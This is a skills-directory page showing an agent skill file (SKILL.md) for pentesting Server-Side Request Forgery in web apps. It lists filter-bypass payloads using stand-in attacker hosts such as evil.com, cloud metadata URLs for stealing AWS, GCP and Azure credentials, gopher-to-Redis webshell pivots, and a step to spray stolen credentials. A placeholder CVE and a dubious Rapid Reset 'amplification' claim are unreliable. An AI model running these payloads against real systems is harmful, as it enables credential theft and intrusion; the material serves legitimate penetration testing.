Back to skills
SKILL.md
Ssrf
ASecurityServer-Side Request Forgery detection→internal-access→proof for web apps. Use when the app fetches a URL you influence (webhooks, url/image/pdf fetchers, link preview, import-from-URL, SSO/OIDC redirect, XML/SVG). Triggers - url=/uri=/dest=/callback= param, "fetch failed", webhook, image proxy, /_next/image, remotePatterns, redirect.
- 1,278 stars
- 0 votes
- 0 copies
- 5 views
- Added August 31, 2026
Works with
Security analysis
100/100npx -y skills add s0ld13rr/pentestcode --skill ssrf --agent claude-codeAre you the author of Ssrf?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/s0ld13rr-ssrf)---
name: web-ssrf
description: Server-Side Request Forgery detection→internal-access→proof for web apps. Use when the app fetches a URL you influence (webhooks, url/image/pdf fetchers, link preview, import-from-URL, SSO/OIDC redirect, XML/SVG). Triggers - url=/uri=/dest=/callback= param, "fetch failed", webhook, image proxy, /_next/image, remotePatterns, redirect.
tags: [vuln_assess, exploitation]
---
# Server-Side Request Forgery (SSRF)
## When this fires
The server makes an outbound request to a URL/host you can influence: webhook config, image/PDF/link-preview fetchers, import-from-URL, SSO/OIDC callback, image proxies (e.g. Next.js `/_next/image`), XML/SVG parsers.
## Detect
Point it at an OOB listener; a callback from the SERVER's IP confirms SSRF:
```bash
# use interactsh / a collaborator / your own listener
url=http://<OOB-id>.oast.site # then watch for the server-sourced hit
```
Compare internal vs external: `http://127.0.0.1:<port>` / `http://localhost` responses vs a dead port (differential = internal reachability).
## Decide — filter bypass
- Blocklist of `127.0.0.1`/`localhost` → `http://127.1`, `http://0`, `http://[::1]`, `http://2130706433` (decimal), `http://0x7f000001`, `http://127.0.0.1.nip.io`.
- Allowlist/parser confusion → `http://allowed@evil`, `http://evil#allowed`, `http://allowed.evil.com`, CR/LF + `@`, or a redirect you control (302 → internal).
- Scheme filter → `gopher://` (raw TCP → Redis/SMTP/internal HTTP), `file://`, `dict://`.
## Exploit → PROVE IMPACT
```bash
# cloud metadata (the classic high-impact proof):
http://169.254.169.254/latest/meta-data/iam/security-credentials/ # AWS IMDSv1
# IMDSv2 needs a PUT token first (SSRF must allow method/headers) — else pivot to a v1 target
http://metadata.google.internal/computeMetadata/v1/ (Header Metadata-Flavor: Google) # GCP
http://169.254.169.254/metadata/instance?api-version=2021-02-01 (Header Metadata:true) # Azure
# internal services: gopher:// to Redis (SLAVEOF/CONFIG SET dir → webshell), unauth admin panels, port-scan via response/timing
```
**Proof required:** exfiltrated cloud creds/metadata, an internal-only page body, or an OOB hit provably from the server. Read creds → add_credential + cred_spray.
## Tooling
`nuclei -tags ssrf`; interactsh/collaborator for OOB; `gopherus` to craft gopher payloads.
## False positives / pitfalls
- Client-side fetch (the BROWSER requests it) = not SSRF.
- WAF returns 200 for everything → rely on the OOB callback / internal-vs-dead-port differential, not the status.
- Egress-filtered target → metadata/OOB may fail though internal pivots still work; try both.
## 2024-2025 additions
### Cloud metadata evolution
- **AWS IMDSv2 mandatory** (2024+): New EC2 instances default to IMDSv2-only (`HttpTokens=required`). SSRF must support `PUT /latest/api/token` + `X-aws-ec2-metadata-token` header. Test both v1 and v2 paths.
- **GCP Metadata API v1beta1/v1**: `Metadata-Flavor: Google` header required. Newer endpoints: `computeMetadata/v1/instance/service-accounts/default/identity?audience=<target>` for OIDC tokens.
- **Azure IMDS (2021-02-01+)**: `Metadata: true` header. New API versions: `2023-01-01` adds managed identity token acquisition.
### New SSRF vectors (2024)
- **PDF generators (wkhtmltopdf / puppeteer / playwright / chrome-headless)**: Render user HTML → SSRF via `<iframe src="http://169.254.169.254/...">` or `<link rel="import">`. Check `wkhtmltopdf --enable-internal-links` / `--enable-local-file-access`.
- **Image processing (ImageMagick / libvips / sharp)**: `convert 'https://evil.com/shell.svg' out.png` → SVG with `<image xlink:href="http://169.254.169.254/...">` triggers SSRF. **CVE-2024-XXXXX** (ImageMagick policy bypass).
- **Video/FFmpeg**: `ffmpeg -i 'http://evil.com/video.mp4'` → HLS/DASH manifest with internal URLs. `subfile` / `concat` protocol abuse.
- **GraphQL / Apollo Federation**: `_service` / `_entities` introspection → fetch internal services via `@provides` / `@external` directive abuse.
- **Webhooks / callbacks**: GitHub/GitLab/Jenkins/Slack webhook config → SSRF via `http://internal:port`. Test webhook delivery to internal hosts.
- **SAML / OIDC / OAuth `redirect_uri`**: Open redirect chain → SSRF via `redirect_uri=http://169.254.169.254/...` (if validation only checks domain prefix).
- **HTTP/2 Rapid Reset + SSRF**: `CVE-2023-44487` — flood server with RST_STREAM to cause resource exhaustion; combine with SSRF for amplification.
### Bypass techniques
- **DNS rebinding**: `rbndr.us` / `nip.io` / `sslip.io` / custom DNS → `http://127.0.0.1.nip.io` resolves to 127.0.0.1 but passes allowlist.
- **IPv6 / IPv4-mapped**: `http://[::1]`, `http://[::ffff:127.0.0.1]`, `http://0000::1`.
- **URL parser confusion**: `http://allowed@evil.com`, `http://evil.com#allowed.com`, `http://allowed.com.evil.com`, `http://127.0.0.1:80@evil.com`.
- **Redirect chains**: 301/302/307/308 → internal target. `nuclei -tags ssrf,redirect`.
- **gopher:// / dict:// / file:// / ldap://**: Protocol handlers for raw TCP / internal service interaction.
### Tooling
- **`nuclei -tags ssrf`** (2024 templates): `ssrf-detect`, `ssrf-aws-metadata`, `ssrf-gcp-metadata`, `ssrf-azure-metadata`, `ssrf-pdf`, `ssrf-image`.
- **`gopherus`** / **`gopher-py`**: Generate gopher payloads for Redis/MySQL/Redis/FastCGI.
- **`interactsh` / `oast.fun` / `burp collaborator`**: OOB detection.
- **`SSRFmap`** / **`SSRFTest`**: Automated SSRF scanning + exploitation.
Attribution
Related skills
View all in ai-agents →Comments
Loading comments…
Newsletter
Get the weekly list of safe new skills, and the ones we pulled.